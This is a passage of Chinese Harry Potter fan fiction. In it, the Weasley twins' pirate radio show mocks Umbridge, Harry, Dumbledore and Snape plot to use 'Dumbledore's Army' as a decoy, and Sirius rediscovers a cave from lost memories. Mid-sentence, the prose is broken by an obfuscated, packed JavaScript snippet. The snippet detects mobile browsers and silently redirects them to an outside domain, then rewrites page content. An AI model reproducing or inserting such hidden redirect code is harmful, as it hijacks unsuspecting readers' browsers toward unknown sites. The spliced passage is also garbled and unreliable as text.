“说到这个,麦格教授简直是个大师!”赫敏插话进来,声音中带着少见的赞叹,“粉红……嗯,蟾蜍上周闯入她的变形课堂,试图质疑教学方法。麦格教授只用了一个眼神——就是那种能让你感觉自己变成了一只特别愚蠢的蟾蜍的眼神——她就立刻闭上嘴,后排坐着听完整堂课。” “别忘了弗立维教授的天才之举。”塞德里克语气里满是佩服,“当粉红突然出现在他的魔咒课上,他正好在教授漂浮咒。‘多么巧合’啊,粉红女巫的文件、羽毛笔,甚至她的帽子都突然飞上了天花板。弗立维教授只是无辜地说:‘看来魔力场在这个区域特别活跃,很难控制呢。’” “金毛,作为斯莱特林的内部观察员,你有什么独家见闻吗?”弗雷德转向德拉科。 “不如问问斯内普教授。”德拉科的声音带上一丝玩味,“歪帽先生试图检查他的魔药储藏室,他只是冷冷地问他是否了解龙血与蝙蝠脾脏混合时会产生毒气,然后掏出个标签模糊的瓶子,说是解药,但效果‘不太稳定’。” “其实说了这么多,我最佩服的还是洛哈特教授的战术。”弗雷德压低声音,神秘兮兮地说,“虽然他在黑魔法防御方面的能力值得商榷,但他用自己的魅力为学生们的安宁做出了巨大贡献!粉红蟾蜍似乎对他的办公室情有独钟,每天至少在里面待一小时!” “没错!”乔治激动地接道,“她自称是洛哈特教授的忠实书迷呢!这条爆炸性情报来自二年级格兰芬多的内部爆料。有次黑魔法防御课旁听,她几乎能背出《与狼人一起流浪》的每一章节了。” “大板牙,你当时在现场,能否为我们的听众提供第一手观察?”弗雷德邀请道。 “那真是一场令人难忘的……表演。”赫敏谨慎选择着用词,干巴巴地说,“不过昨天傍晚,我从图书馆回来时,恰好听到洛哈特教授邀请她参加一个‘周末冒险故事分享会’——好像是专为‘特别欣赏者’举办的。” 她顿了顿,“至少这个周末,大家可以稍微松口气,不用担心被粉红蟾蜍盯着了。” 无论是现场的嘉宾,还是收音机前的听众们都爆发出一片快活的笑声。 74. 八卦前哨站的反击(下) “这简直是侮辱!”乌姆里奇愤怒地拍打着她的桌面,宣布了尝试暗号的又一次失败。 她面前摆着一台被魔法强化的特制收音机,那是从一个四年级学生口袋里搜出来的战利品。据说这种收音机经过改装,能接收各种被魔法掩盖的频道。 可这台收音机如今顽固地发出杂音,对她的怒火无动于衷。桌上摊着一张长长的羊皮纸,上面密密麻麻地列着已经尝试过的暗号,每一个都被恼怒地划去——包括“熬药伤身体”、“我爱南瓜汁”、“我和洛哈特有个约会”,甚至是“霍格沃兹万岁”,可依然听不到那个该死的广播。 巴恩斯站在一旁,不动声色地尝试着各种暗号组合。她身后的墙上新挂了些猫咪盘子——用来替代上次损毁的那些。它们警觉地眨着眼睛,随着主人的情绪起伏而躁动不安。 “这些傲慢无礼的学生!”乌姆里奇的声音尖锐得像刮过黑板的指甲,“他们以为自己多聪明,以为能逃过魔法部的眼睛!” 她深吸几口气,勉强压下怒气,粉色套装下的肩膀仍紧绷着。她举起魔杖对准收音机,又试了一个暗号:“我瞧不起规矩,97.5。” 收音机突然嗡嗡作响,一阵杂音过后,传出一段夸张的声音: “噢,看哪!又有人想找我们的频道了!让我猜猜,是那位戴粉红蝴蝶结、爱‘咳咳’打断别人的调查官吧?抱歉,您走错路了,这儿通向《福吉部长的假发收藏集》!如果您执意要搜下去,请准备好迎接更多有趣的小惊喜!祝您愉快地敲敲墙壁、摸摸石头,下次不如试试敲敲自己的脑袋,听听是否也是空心的?” 乌姆里奇的脸色从粉红迅速转为猪肝色。她的手指紧握魔杖,怒气几乎冲破那层甜美的伪装。平日里的优雅早已消失,嘴角扭曲得难看。 “这就是你们的搜查成果?”乌姆里奇猛地转向巴恩斯,“这群学生在我们眼皮底下公然违反规定,你却只带回这些无用的东西!” 巴恩斯挺直背,表情僵硬,眼里却闪过一丝不安。她停下手中的羽毛笔,谨慎地开口,“也许,我们可以尝试其他方式。戈尔的新设备或许能监测到——” “那个废物!”乌姆里奇冷笑道,“他那所谓的‘高精度监听装置’除了炸飞自己的帽子,还能做什么?他现在哪儿去了?” “按照您的指示,他正在——” 门外一阵急促的脚步声打断了她。戈尔撞开门冲进来,高顶帽歪斜,长袍沾满灰尘和蛛网,怀里抱着一堆古怪的设备,脸上满是狂热。 “找到了!”戈尔喘着气喊道,把那堆金属和线圈扔到桌上,撞出刺耳的响声,“我监测到了!他们用了频率混淆魔法,可我的‘万能频谱分析仪’破解了它!” 乌姆里奇猛地站起来,眼睛瞪大,“暗号是什么?频道呢?” “暗号是‘粉红泡泡’,频道是93.7,”戈尔飞快地说,用魔杖敲击收音机调整频率。 乌姆里奇的脸色瞬间铁青,眼睛眯成危险的细缝:“粉红泡泡?他们竟敢——” 收音机突然发出清晰的声音,打断了她的愤怒。弗雷德的声音流畅地飘出,“……最近,霍格沃茨城堡各处出现了一种奇怪的标记——简单的两个字母:D和A。” 乌姆里奇紧绷的脸突然松弛下来,狂热的喜悦取代了愤怒。她双眼瞪大,透着胜利的得意,丰满的身体微微前倾,整个人沉浸在近乎痴迷的专注中。 “D.A……”她低声念道,语气透着压抑不住的兴奋,“邓布利多军。” —————— 校长办公室内,收音机早已被调至正确的频道。邓布利多坐在高背椅中,修长的手指轻抚长须,眼神专注而平静,如同一位耐心等待棋子就位的巫师棋大师。哈利倚着窗台,手中的魔杖在指间转动,眼睛盯着收音机不放。斯内普则站在书架旁,双臂交叠在胸前,如常地沉默不语。 “——好了,各位,真相还原告一段落。”弗雷德的声音从收音机中传出,语调明显轻快了起来,“我想我们都同意,是时候让那些无端的指责和可笑的猜测画上句号了。” 哈利微微点头,紧绷的嘴角稍稍松开。节目推迟的这两天里,他与韦斯莱双胞胎的秘密会面有了成果——那场精心设计的澄清,为泰迪洗脱了所有谣言。 “我必须说,”邓布利多轻声评价,眼睛微微眯起,“韦斯莱先生们的表现相当出色。那段关于千年密室防护咒老化的解释,连我都差点信以为真。” “防护魔法的确会随时间减弱。”斯内普勉为其难地赞同,“他们的解释足够合理,又巧妙避开了任何可能暴露真相的细节。”说这话时,他的目光在哈利身上一掠而过。 收音机中,乔治的声音继续道:“接下来让我们说点轻松的——《霍格沃茨:调查组观察实录》。” 三人保持着默契的安静,聆听节目中对调查组的戏谑描述。当广播中提到乌姆里奇是洛哈特的忠实粉丝,甚至能背诵他全部著作时,哈利的嘴角一抽,“毫不意外,洛哈特正适合她的审美。” 斯内普挑起一边眉毛,冷哼一声,“粉红蟾蜍和花孔雀。”他刻薄地说,“看来他们找到了真正的‘灵魂伴侣’。” 哈利不得不掩嘴轻咳几下,才没大笑出声。 “确实有趣。”邓布利多说着,手指轻敲椅臂,“就像一双花里胡哨的袜子,非要配成一对才安心。”他微笑着,眼中满是狡黠。 办公室气氛因这番话轻松了些,但当弗雷德声音再次提高,三人立刻将注意力转回收音机。 “各位,节目播到一半,这次我们临时增加一个新的环节——《霍格沃茨:神秘现象调查》!”仿佛为了配合这个主题的神秘氛围,弗雷德也不自觉压低了声线,“最近,霍格沃茨城堡各处冒出一种奇怪的标记——两个字母:D和A。” 邓布利多的目光转向桌面,那里摆着一块磨砂石块,上面刻着清晰的“D.A.”字样。他将石块轻轻推向哈利,探寻的目光望向他——这是多比昨晚送来的,家养小精灵们在城堡各处留下的众多标记中的一个。 哈利接过石块,指尖摩挲着字母刻痕。“多比完成得很出色。”他低声说,“有些家养小精灵的创意令人惊叹。他们把标记藏在连费尔奇都不会注意的角落——” “我们的秘密线人透露,”弗雷德故作神秘地说,“这些标记遍布城堡各处:禁林边缘的一棵古树树干上,天文塔望远镜架后面,四楼走廊盔甲士兵靴子底部,甚至是图书馆某些古老书籍的侧面!” “老盾,这些标记让你想到什么?”乔治问。 “这些标记几乎每天都在增加。”弗雷德假装思考了一下,“有人说这是城堡的魔法在作怪,有人说是鬼魂恶作剧,也有人说——”他故意停顿,吊足胃口,“这是某个神秘学生组织的标记。” “那么,到底是什么呢?我们今晚的嘉宾们有何看法?” 收音机中爆发出热烈的讨论。塞德里克第一个开口,“可能是‘DefenseAssociation’的缩写——防御协会。考虑到最近的教育法令禁止了所有没有官方批准的学生社团,包括我们的魁地奇训练,这很可能是学生们表达不满的一种方式。” “大板牙,你怎么看?”乔治追问。 “我认为,”赫敏谨慎地说,斟酌着字眼,“如果真有这样的组织存在,那么‘DuelingAcademy’——决斗学院更为合理。这符合霍格沃茨的传统,毕竟学校曾经有过决斗俱乐部。哦对了——”她似乎想起了什么,“我记得开学时说过要办决斗俱乐部,大家不是都报名了吗?也许这是预热活动?” “哦?那我赌一个金加隆,是佩弗利尔教授来教我们决斗。金毛,你有不同意见吗?”弗雷德语气轻快。 德拉科漫不经心地说,“说不定是‘DangerousAdventures’——危险冒险。你们这些格兰芬多总爱一头扎进麻烦,不是吗?” 与此同时,各学院休息室里也猜测四起,整个城堡议论纷纷。 哈利听着学生们天马行空的想法,嘴角微微上扬。这一切如此相似,又截然不同——在他的时间线中,D.A.最初只是一个学习小组,却最终成了抵抗伏地魔的重要力量。 突然,卢娜梦幻般的声音从收音机中飘出,“也许…是‘Dumbledore’sArmy’(邓布利多军)?” 空气似乎凝固了一瞬,连收音机也只剩下沙沙的背景音。 哈利手中的魔杖停止了转动。他抬头看向邓布利多,与校长湛蓝的眼睛对视片刻,两人无声地交换着只有他们才懂的讯息,都明白这个名字背后承载的全部分量。 斯内普的目光在哈利和邓布利多之间短暂停留,随即转向窗外。他面上仍是那副不动声色的冷漠,但嘴角有一瞬间的紧绷。 短暂的沉默后,弗雷德的声音再度响起,充满了夸张的惊叹:“邓布利多军?梅林的胡子啊,这名字真够气势!” “这……有点大胆,不是吗?”赫敏的声音透着担忧。 “我更关心的是,”德拉科懒洋洋地说,“如果真有这样一支‘军队’,谁会是指挥呢?” “但若你仔细想想,”塞德里克沉思道,“邓布利多会让你们想到什么?公正、智慧、勇气和友爱——这名字确实体现了霍格沃茨的精神。” 乔治笑着赞成,“金鹰说得对,某种意义上,每位支持校长和霍格沃兹的人,都是邓布利多军的一份子,不是吗?” “而且,”塞德里克补充道,“这个名字有一种……团结的力量。它超越了学院界限,提醒我们无论来自哪个学院,都是霍格沃茨的一份子。” “真是感人,”德拉科依旧带着几分嘲讽,语气中又似乎透出一丝认可,“不过我得提醒大家,如果这真的是某种学生组织,最好保持低调。否则某位粉红调查官可能会把这当成某种的证据。” “说到这个,”弗雷德声音一转,重新变得轻快,“我们强烈建议听众们——纯粹出于学术研究目的——去寻找这些神秘标记。每发现一处,就像是找到了霍格沃茨精神的一个小火花。” “当然,”乔治立刻补充,“我们绝对不是在鼓励任何人加入这个可能存在也可能不存在的组织,更不是在暗示大家可以在城堡的其他地方留下类似标记。那样做可能会让调查组疯狂,让他们整夜搜索城堡,疑神疑鬼——我们怎么会建议这种事呢?” 收音机里的讨论声依然热烈,但哈利已经听不见了。他的思绪被拉回到多年前,回到那些有求必应屋里的会议,那些和朋友们一起对抗乌姆里奇的日子,以及那张至今仍让他心头隐隐作痛的名单——被玛丽埃塔·艾克蒙出卖的D.A.成员名单。 弗雷德的声音继续从收音机中传出,“总而言之,这些神秘的D.A.标记或许只是霍格沃茨的又一个未解之谜。不管它是防御协会、决斗学院还是——”他拖长声调,“邓布利多军,我们期待看到更多发展!” “节目时间已过半,让我们插播一个《听众来信大揭秘》!”弗雷德欢快地宣布,“我们收到不少有趣的来信,挑选几封与大家分享。” “第一封来自‘担忧的猫主人’,”乔治读道,“亲爱的八卦前哨站,自从那位新来的调查官到了学校,我的猫一见到粉红色就躲起来。请问这是否与她身上散发的某种奇怪香水有关?我担心我的猫已经患上了‘粉红恐惧症’。” 念到最后,乔治故意拉长了“粉红恐惧症”的尾音。 “这问题很严重。”弗雷德故作正经地回应,“据我观察,霍格沃茨的猫咪们最近都有类似症状。也许它们凭直觉察觉到,某些粉红色东西比表面上更危险。” 听到这里,哈利轻笑出声,久违的轻松感涌上心头。邓布利多眼中闪烁着愉悦,连斯内普紧绷的唇角都略微放松了一瞬。 “第二封来自一位匿名学生,”乔治继续道,“自从宵禁加强后,连去洗手间都被盘问三次。昨晚我实在憋不住,不得不向巡逻的铁面女爵详细解释我的‘紧急情况’,结果她居然要求我提供医疗翼的证明!请问有什么应对策略吗?” “告诉她你的父亲是校董会成员。”德拉科嗤笑一声,“即使不是,他们也不敢冒险。” “或者引用《霍格沃茨学生基本生理权益保障条例》第三条第二款,”赫敏迅速补充,严肃得仿佛在背诵课本,“‘任何紧急情况下,学生有权不受阻碍地使用最近的卫生设施。’” “有这种条例吗?”卢娜好奇地问。 “现在有了。”赫敏回答,语气里透出一丝狡黠的笑意。 哈利听到这段对话时,心中涌现出一股暖流。在他的‘过去’中,赫敏的逻辑与卢娜的直觉也是如此奇妙地互补,而现在,即使在这个全然不同的时空里,她们依然能在对抗不公时站在一起。 “最后一封特别有趣,”弗雷德压低嗓音说,“来自一位署名‘佩弗利尔教授的崇拜者’的低年级女生:‘自从佩弗利尔教授接手高年级课程后,我们这些低年级学生就很少见到他了。上次节目中关于他和斯内普教授的‘特殊关系’让我非常好奇。最近有人说看到他们在走廊上竟然‘文明交谈’,这太不可思议了!请问有没有更多关于这两位教授关系变化的新消息?’” 这句话像一枚炸尾螺,在邓布利多办公室内爆炸开来。哈利猛地站直身体,眼睛瞪大——他显然没想到广播会转向八卦自己。 “感谢这位同学的信,”乔治甜腻腻地说,“你这个问题正好引出我们今天的压轴环节!” “欢迎来到《霍格沃茨:一段八卦》!”弗雷德宣布,嗓音甚至拔高了八度,“今天的焦点话题——佩弗利尔教授与斯内普教授之间令人费解的关系变化!” 哈利感到一股热气从脖颈窜上耳根,喉结上下滚动,吞咽着突如其来的尴尬。而斯内普的反应更加耐人寻味——他依旧保持那种冷漠的神情,可眼中一瞬的波动似乎透露出某种他无法应对的困惑和窘境。 “让我们回顾这对‘搭档’近期的表现。”乔治继续道,每字每句都透着恶作剧的快意,“每次危机他们总是同时出现,配合默契得令人咋舌。尤其是在蛇怪事件中,两人魔法配合得天衣无缝,简直像是排练了一千遍!” “金毛,听说你这次又有一些新的发现?”弗雷德满怀期待地问,“快分享一下!” 德拉科清了清嗓子,慢条斯理地说,“上周晚上,我去地窖请教魔药难题,惊讶地发现佩弗利尔教授不敲门就闯了进来。更意外的是,他直呼‘西弗勒斯’而不是‘斯内普教授’!斯内普教授竟然没发火,只是给了他一个我无法解读的复杂眼神。” “看来马尔福先生在课余时间找到了新的消遣。”听到这里,斯内普冷冷地评价道,“一如既往地夸大其词。”他锐利的目光射向哈利,后者正假装对窗外夜色产生了莫大兴趣。邓布利多若有所思地抚着长胡子,透出几分好奇与愉悦。 “两人关系明显变化,不再见面就吵,多了些奇怪的氛围,”德拉科总结道,语气遗憾,“说实话,有点无聊了。以前那些争吵可是霍格沃茨难得的娱乐,现在走廊都变得平淡了。” “这还不够戏剧性吗?还记得以前在礼堂捡过的下巴吗?”乔治夸张地倒吸一口气,“各位嘉宾,你们怎么看?” “从专业角度分析。”赫敏冷静地说,试图将整个讨论拉回理性轨道,“这可能只是工作关系的自然发展。两位教授都是各自领域的专家,长期合作后产生相互尊重很合理。” “我注意到——”塞德里克沉稳的声音传来,“他们的争执确实减少了。以前在教师席上也经常针锋相对,现在偶尔会简单交谈,没那么剑拔弩张。” “也许是因为渡鸦的羽毛与月光改变了他们周围的磁场。”卢娜空灵地说,“或者更简单地说,他们只是习惯了彼此。” “霍格沃茨古老走廊里,藏着多少不为人知的秘密啊!”弗雷德歌咏般总结道。 哈利此刻已瘫坐在最近的一把扶手椅中,一只手遮住面庞,避开另外两人的目光。“等我抓到那两个捣蛋鬼,”他低声咕哝,“他们得好好解释这种无聊八卦的意义。” 令他意外的是,邓布利多轻咳一声,眼神中闪烁着几分狡黠:“说起来,哈利,我确实注意到你开始称呼西弗勒斯的教名了。看来你们的关系真的有了令人欣慰的进展?” 哈利猛地呛住,剧烈咳嗽起来。他不自觉地瞥向斯内普,却撞上了一张难以琢磨的脸。那是一种哈利曾在几次不经意间捕捉到的表情——克制中夹杂着某种深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156412|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藏不露的情绪,让他莫名感到熟悉,却又像隔着一层迷雾,仿佛有什么重要的事情被悬置在他们之间,但他总是无法确切说出那是什么。 哈利迅速别开视线,看起来就像被困住的猫头鹰般不安地挪动,“我想这只是……长期共事的自然结果。纯粹……专业层面的尊重。” “如果二位讨论完了这个毫无意义的话题,”斯内普冷冰冰地打断,“我们或许该回到正事上。”他的声音带着寒气,“比如如何引导乌姆里奇追寻‘邓布利多军’这个幻影,而非关注教师间的正常工作关系。” “当然!”哈利迅速转移话题,仿佛抓住了一根救命稻草,“我们应该讨论一下D.A.的后续安排。多比已经按计划带着小精灵们在城堡各处留下标记,但乌姆里奇肯定会进一步搜查。” “你说得很对。”邓布利多善解人意地顺着哈利的话题,后者向他投去感激的目光,“我们确实需要继续引导她追寻这条假线索。” 斯内普微微点头,“一旦她确信自己发现了‘邓布利多军’的证据,就会专注于寻找成员和集会地点,而不是抓着佩弗利尔的真实身份不放。” 收音机中,节目已进入尾声。“霍格沃茨八卦前哨站本期节目到此结束!”弗雷德宣布,“下期暗号是‘D.A.永不熄灭’,频道变更为94.3。” “记住,朋友们,”乔治的声音充满力量,“团结就是力量。黑暗总会过去,霍格沃茨永远是我们要守卫的家!” 收音机的声音渐渐消失,办公室里只剩下三人各自的沉思。 “有些东西总会找到自己的存在,不是吗?”哈利低声说道,目光停留在已经沉寂的收音机上,“‘邓布利多军’,当得知泰迪在乌姆里奇面前不小心提起时,我心跳差点停了一拍——我从没有想过还会在这里听到它的名字。” 那天在这间办公室里,他不得不解释泰迪的失言,邓布利多军这个名词只是被他匆匆一提,像未来的碎片,没带细节,没透深意,仅是平淡的事实。 “我只告诉了您它是个学生组织。”哈利说,“没讲它的真正意义。” 邓布利多的手指轻轻交叠,湛蓝的眼睛里流露出一丝思索,“有些真相,总要等到恰当时机才会浮现。” 斯内普坐在一旁,神情不变,专注地聆听着两人的对话。 “在我的时间里,”哈利缓缓道来,“邓布利多军起初不过是个简单的需求——学习真正的防御魔法。乌姆里奇拒绝教授实用咒语,只让我们阅读理论。”他收回目光,火光映在眼镜镜片上,仿佛那光影中藏着有求必应屋,藏着那些年轻面孔,围在他身旁,满眼期待与信任。 “赫敏建议我们自学,提出成立一个‘防御协会’,由我来教大家。但后来——”他的声音稍有停顿,“金妮提议改名为‘邓布利多军’,半是玩笑,半是对魔法部的反抗。” 邓布利多的眼睛微微闪烁,“然后乌姆里奇发现了你们。”这不是问句,而是对哈利曾提及的事实的确认。 “是的。她闯入您的办公室,拿着我们的名单,硬说那是您叛乱的证据。您承担了全部责任,声称邓布利多军确实是您的创意,然后在混乱中离开了霍格沃茨。” 壁炉里,一块木柴塌落,火星迸溅。 “邓布利多军,”邓布利多缓缓重复这个名字,仿佛每个音节都沉甸甸的,“这个名字……承载的分量,比我想象的要重得多。即使知道了它的存在,我总会想,自己是否值得学生们如此的信任和勇气。” 哈利没有立刻回答,他只是看着邓布利多,想起了曾经的自己——那个愤怒、迷茫,甚至对他有所怨怼的自己。直到国王十字车站的那场梦幻般的交谈,他才真正理解眼前这个人——一位伟大的巫师,一个曾犯过错的凡人。如今,他们面对面坐着,之间不再横亘着那些未说出口的秘密,只剩相互理解的宁静。 “然而,”邓布利多短暂地陷入沉思,“现在历史走上了另一条路。”他嘴角微微翘起,“看来洛夫古德小姐的直觉再次展现了她非凡的洞察力——这个名字将再度发挥作用,尽管方式不同。” “区别在于,”斯内普开口道,“这次它只是个幻影,一个引诱乌姆里奇追逐的诱饵。” “或许不止如此,西弗勒斯。”邓布利多转向他,“虽然形式不同,但它象征的精神——团结、抗争、希望——同样真实。学生们或许不会像哈利他们那样面对真正的危险,但他们心中的火焰同样炽热。” “弗雷德和乔治的主意比我想象的更精妙。”哈利轻笑了一声,“他们不仅创造了一个分散乌姆里奇注意力的幻影,还无意中唤醒了一种团结的象征。” “他们在校园播下了反抗的种子,却巧妙避开了任何实质违规。”邓布利多赞许地说,“乌姆里奇无法惩罚一个幻想,无法逮捕一个符号,更无法禁止一种信念。” “现在,”他从长袍内取出一卷羊皮纸,摊开在桌面上,纸上列满了密密麻麻的名字,“让我们善用这个意外礼物。泰迪无意间创造了契机,洛夫古德小姐的灵光一现为我们指明了方向。乌姆里奇期望找到一个真实组织——我们就给她一个永远抓不住的影子。” 哈利目光落在那份“名单”上,感到一种奇异的时空错位。在另一段人生中,类似的名单曾是他们暴露的导火索;如今,这份精心伪造的名单将成为保护的盾牌。命运的齿轮以奇妙方式旋转,将昔日伤痕转化为今日的铠甲。 “我们应该确保这份名单‘恰到好处’地落入乌姆里奇手中。”斯内普说道,“太容易会引起怀疑,太困难又可能拖慢她的反应。” “还需要一些看得见的证据。”哈利补充,“家养小精灵们已经在城堡各处留下了D.A.的标记,可还不够——得让她相信自己正在接近真相,却永远抓不住实质性的东西。” 邓布利多颔首,“正是如此。让她认定这是真实存在的‘军队’,而不是我们的计谋。当她一门心思追捕幽灵时,我们将有更多余地应对真正威胁。” “即使环境截然不同,相似的种子依然能找到生根的土壤。”他低声感叹,“这让我不禁想,某些命运的核心是否太过顽强,时间改变了它们的模样,本质却始终如一。” 哈利沉默了一会儿,目光望向窗外的星空。他想起罗恩,想起赫敏,想起纳威、金妮、卢娜……想起那些曾经与他并肩作战的朋友。如今,他们仍然是那些熟悉的面孔,可命运的变动已无可挽回——他们成了他的学生,而他成了他们的教授。那份平等的战友情谊,那种生死相托的挚友羁绊,已被时间的洪流冲散。听到这个名字再次响起,他心底泛起一股苦涩的怀念。 “有时我会想——”哈利说,“如果那个名字从未被用过,那份名单从未被发现,历史会变成什么样。”他轻吐一口气,“但也许,那些事或许注定要发生——它们塑造了我们,教导了我们,让我们有足够的勇气和智慧去面对最终的战斗。” 邓布利多深深凝视着哈利,“我很好奇,哈利,”他轻声问,“在你的‘过去’里,邓布利多军最终成了什么?” 哈利的眼神飘远,思绪回到那战火弥漫的岁月。“它成了一切。”他答道,“它成了抵抗伏地魔的最后希望,黑暗中的一盏灯,霍格沃茨学生自发的反抗力量。” 他停顿了片刻,声音低沉下来,“我离开学校去寻找魂器后,纳威并没有放弃D.A.。你一定想不到,他曾经那么害羞,但也是他和金妮在有求必应屋建立了据点,组织学生反抗卡罗兄妹。他们冒着生命危险搞乱了食死徒的计划,用一切办法破坏黑魔法统治——我永远都忘不了他那因钻心咒而留下的满脸伤痕。” 哈利微微垂下眼帘,缓缓讲述着那些D.A.成员经历的战斗。当提到弗雷德的名字时,他的声音突然哽咽了。 半晌,他才抬起头,“他们从没停止相信,从没停止反抗——D.A.不再只是个学习小组,而是成了真正的抵抗军。” 邓布利多静静看着他,眼睛微微湿润。他点了点头,仿佛从哈利简短的描述中窥见了那段他未曾经历却真实存在的历史,那些他未曾目睹却为之奋斗的胜利与牺牲。 “那么,”他说道,语气平和却不容置疑,“让我们确保这个世界——永远不需要真正的邓布利多军。” 75. 不灭的纽带 小天狼星·布莱克猛地睁开眼,汗湿的黑发贴在额头,后背全是冷汗。他喘着粗气,胸口起伏,梦里的画面还黏在脑子里——简陋的山洞,空荡荡的胃,一个递来鸡腿的男孩。香气让他口水直流,他一口咬下去,满嘴肉香,太久没吃过像样食物的胃终于安静了。看着他的男孩有着詹姆斯的脸,却是莉莉的绿眼睛。 小天狼星按着额角——那男孩的肩膀比他认知中的更宽,也更高一些,可那熟悉的面容还是刺得他心跳停了一下。那不是哈利,却又分明是哈利。 峡谷之屋在夜里很安静,只有窗外山风钻进来的声音。这栋歪歪斜斜的房子是他前几年挑的,詹姆斯和卢平跟着跑了一星期,几乎踩遍了威尔士的山区,只为找到这处足够隐蔽又不失舒适的住所。 离格里莫广场12号越远越好,他当时是这么说的。詹姆斯听了,咧嘴笑:“你总不能躲到世界尽头,大脚板。” 这些年他就住在这儿,偶尔邀请波特一家来做客。小哈利最喜欢在这儿追着羊跑——直到那孩子没了。 他翻身下床,赤脚踩在冰冷的木地板上,走到窗边,盯着外面黑漆漆的山脊,“霍格莫德……”他听到自己因为缺乏休息而干涩的声音在耳边响起。 话一出口,他自己都愣住了,不明白这个词为什么会从他嘴里冒出来。他皱起眉头,搓了搓脸,脑子里乱得像一堆被打翻的巫师棋子,散落一地却拼不完整。镜子里,他胡子拉碴,灰眼睛亮得吓人。 这种感觉已经持续几天了。最开始只是零星的画面,像老照片闪过。现在却越来越多——黑狗在一条整齐的麻瓜街道上游荡;阴冷潮湿的石头牢房;银色的牡鹿从湖面上飞奔而过。自从詹姆斯告诉他“哈利·佩弗利尔”的真实身份后,这些记忆就像被打翻的坩埚里的药水,控制不住地涌出来。 小天狼星走进盥洗室,拧开水龙头,冷水哗地浇在脸上。抬头时,镜子里突然出现另一张陌生而熟悉的脸——头发打结乱成一团,眼窝深陷,皮肤灰白如蜡,活像刚从地狱爬出来的亡灵。他后退一步,手肘撞翻了架子上的瓶子。玻璃碎裂的声音把他拉回现实,镜子里又只剩他自己的脸,只是眼下挂着黑眼圈,看起来疲惫不堪。 他捡起魔杖,用“清理一新”收拾好碎片和洒落的液体,又召来外套和靴子。他必须得去霍格沃兹,去见邓布利多——这不是他能自己弄明白的事。 天才蒙蒙亮,小天狼星抬头望了望天色,决定骑飞天摩托过去——那辆老式摩托在车库角落蒙了好几年灰。魔法部早就禁止巫师驾驶这种引人注目的麻瓜玩意,但今天他不在乎。他需要飞行,冷风或许能让他的脑子清醒些。 摩托发出低沉的轰鸣,朝霍格沃兹的方向飞去。 —————— 摩托飞过黑暗的山岭,冷风灌进小天狼星的袖口和领口。天色渐亮时,霍格莫德村的轮廓出现在下方。他犹豫了片刻,手上的油门松了松。 “霍格莫德,”他低声重复着那个莫名其妙在脑中蹦出的地名,“为什么?” 摩托降低高度,盘旋在村庄上空。晨曦中,霍格莫德村正缓缓苏醒,几家早开的店铺已点起灯火,面包房飘出温暖的香气,而蜂蜜公爵和佐科笑话店的橱窗仍然暗着。一种莫名的冲动驱使他转向村庄边缘的山坡。 他在禁林附近降落,将摩托停在灌木丛后施了隐形咒,朝山坡走去,每一步都踩在一种既陌生又熟悉的感觉上。 村子边缘处,一条崎岖的小路延伸向山坡。他抬头看了看,确认周围无人,然后变成了黑狗。四条腿行走更轻松,嗅觉也变得异常敏锐。潮湿的泥土、野兔的足迹、山间的野花——这些气味混杂在一起,引导他向上爬。 “沿着村外小路走,过了尖顶房子的围栏,向右转——” 这道指令突然在他脑海中响起,声音清晰得像是刚刚听到的。黑狗警觉地停住脚步,竖起耳朵环顾四周,没有发现任何人影。这声音来自他自己的记忆。 随着前行,他发现不需要再有指令——每个转弯、每处标记都开始变得熟悉,仿佛身体自己记得该往哪走。他循着苏醒的记忆,过了一座破旧小屋,穿过一道栅栏,毫不迟疑地向右拐去。 一块巨石出现在视野里,后面隐约有个黑洞。他谨慎地靠近,鼻子嗅到了陈旧的气息——灰尘、腐叶和一丝淡淡的霉味。 洞口很窄,黑狗低头钻入,毛发刮过粗糙的石壁。里面比他想象的要深,地上散落着几片腐叶和灰尘。当他走到尽头,前爪踏在坚硬的石地上,周围的一切与记忆中的景象完美重合——唯独少了那些骨头与发霉的面包皮。 黑狗僵在原地,肌肉绷紧。这不可能是巧合。记忆中的场景太过清晰,连洞口的高度、内部的深度,甚至石壁上的裂纹都分毫不差。就在这一刻,他敢确定,在某个他不记得的“时间”里,他曾来过这个山洞——不止一次。 变回人形后,小天狼星蹲在记忆中骨头堆积的角落,手指轻抚着冰凉的石面。破碎的记忆如潮水涌来:变成黑狗在村子垃圾箱边翻找食物残渣;夜晚潜入霍格莫德村民后院偷报纸;啃食山间野兔,饥饿难耐时连老鼠也不放过;哈利和他的两个朋友,抱着一大袋食物爬上山坡,眼中是满满的关切与担忧…… “阿兹卡班的通缉犯,”他喃喃自语,“我在这个山洞里躲着,因为我是个逃犯。” 他嘴角抽动了一下。在他的生活中——他确定无疑的现实生活里——他从未进过阿兹卡班,也从未是逃犯。他是傲罗特别行动队的指挥官,是魔法部的模范雇员。但另一个他,那个闪现在记忆中的布莱克,却有着截然不同的人生。 洞穴里没有更多线索。小天狼星退了出来,深吸一口新鲜空气。太阳已经升起,照亮了远处霍格沃兹的塔尖。他好像找到了一些答案,同时又产生更多的疑问——他不能再拖延了,邓布利多或许能给他一些答案。 —————— 小天狼星幻影移形到霍格莫德通往霍格沃兹的小路上,决定步行剩下的路程。当城堡的全貌出现在眼前时,他注意到场地上有几个人影——两个穿着魔法部制服的巫师正沿着禁林边缘查找着什么,一个矮胖的粉色身影跟在后面,羽毛笔在空中飞舞,自动记录着什么。 小天狼星皱起眉头。看来魔法部的调查比詹姆斯提到的更为深入。 当他抵达学校大门时,费尔奇正不情愿地检查一批准备前往霍格莫德的高年级学生的许可证。看到小天狼星,守门人眯起了满是怀疑的眼睛。 “来访目的?”费尔奇粗声粗气地问,双手拿着一份明显是魔法部新下发的检查清单。 小天狼星出示了他的傲罗特别行动队徽章,“公务,费尔奇。我需要见邓布利多校长。” 费尔奇狐疑地盯着那枚徽章看了好一会儿,嘴角抽动着,显然在权衡是否要为难他。最终,他不情愿地划掉了清单上的某一项,朝城堡偏了偏头。 “魔法部的人已经够多了。”他咕哝着,“洛丽丝夫人,盯着他。” 